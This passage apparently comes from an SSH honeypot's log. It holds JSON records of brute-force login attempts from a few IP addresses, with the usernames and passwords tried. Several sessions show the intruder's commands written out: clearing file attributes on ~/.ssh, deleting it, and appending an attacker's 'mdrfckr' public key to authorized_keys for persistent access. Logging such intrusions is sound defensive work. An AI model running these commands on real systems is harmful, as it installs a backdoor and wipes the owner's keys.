  "end_time": "2026-07-24T01:38:15.924382Z",
  "duration": "8.0",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin1@3"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:37:02.488880 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mk

Record ID: 51556f9f928d

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "51556f9f928d",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:37:02.488880Z",
  "end_time": "2026-07-24T01:37:05.216769Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "mk",
      "pass": "mk123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:35:55.881369 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zenith

Record ID: 05631ffc4863

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "05631ffc4863",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:35:55.881369Z",
  "end_time": "2026-07-24T01:35:58.602584Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "zenith",
      "pass": "zenith"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:34:46.198699 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admins

Record ID: a5f3163c644a

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "a5f3163c644a",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:34:46.198699Z",
  "end_time": "2026-07-24T01:34:48.865525Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "admins",
      "pass": "admins"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:33:37.870455 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: web

Record ID: 90956d3ec479

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "90956d3ec479",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:33:37.870455Z",
  "end_time": "2026-07-24T01:33:40.541267Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "web",
      "pass": "web"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:32:37.549332 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 0b90bc948b55

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "0b90bc948b55",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:32:37.549332Z",
  "end_time": "2026-07-24T01:32:39.220637Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:32:34.589508 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c51e2d2b1d4f

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "c51e2d2b1d4f",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:32:34.589508Z",
  "end_time": "2026-07-24T01:32:37.283553Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:32:31.062043 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / hunter2

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 5becf455250c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.2s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "5becf455250c",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:32:31.062043Z",
  "end_time": "2026-07-24T01:32:39.228165Z",
  "duration": "8.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hunter2"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:31:25.787394 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mcserver

Record ID: 9e50c29886fa

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "9e50c29886fa",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:31:25.787394Z",
  "end_time": "2026-07-24T01:31:28.468976Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "mcserver",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:30:24.048984 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 0190ea662e4d

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "0190ea662e4d",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:30:24.048984Z",
  "end_time": "2026-07-24T01:30:25.718086Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:30:21.110749 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: cbd0b2c43072

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "cbd0b2c43072",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:30:21.110749Z",
  "end_time": "2026-07-24T01:30:23.780224Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:30:17.598959 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / selene

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 99ec06ad9b5c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.1s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "99ec06ad9b5c",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:30:17.598959Z",
  "end_time": "2026-07-24T01:30:25.721293Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "selene"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

193.46.255.86

2026-07-24 01:29:49.001864 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / blackout

Record ID: dac3bfae75f3

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "dac3bfae75f3",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-24T01:29:49.001864Z",
  "end_time": "2026-07-24T01:29:55.006461Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "blackout"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:29:09.965791 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jenny

Record ID: 772ef048e2a9

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "772ef048e2a9",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:29:09.965791Z",
  "end_time": "2026-07-24T01:29:12.631437Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "jenny",
      "pass": "jenny"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:28:08.690370 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34

Record ID: f3ab87f525d2

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "f3ab87f525d2",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:28:08.690370Z",
  "end_time": "2026-07-24T01:28:10.364384Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:28:05.720838 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 301c8c89f05f

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "301c8c89f05f",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:28:05.720838Z",
  "end_time": "2026-07-24T01:28:08.430734Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:28:02.260976 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / 0000

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: b2510ce4ddb4

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.1s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "b2510ce4ddb4",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:28:02.260976Z",
  "end_time": "2026-07-24T01:28:10.367412Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "0000"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:27:01.588709 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: ba8b41ed390f

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.8s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "ba8b41ed390f",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:27:01.588709Z",
  "end_time": "2026-07-24T01:27:03.354611Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:26:58.563378 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: b986bda35a7e

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "b986bda35a7e",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:26:58.563378Z",
  "end_time": "2026-07-24T01:27:01.303348Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:26:55.055054 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / a5201314

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 7a1f250b14f2

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.3s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "7a1f250b14f2",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:26:55.055054Z",
  "end_time": "2026-07-24T01:27:03.344648Z",
  "duration": "8.3",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "a5201314"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
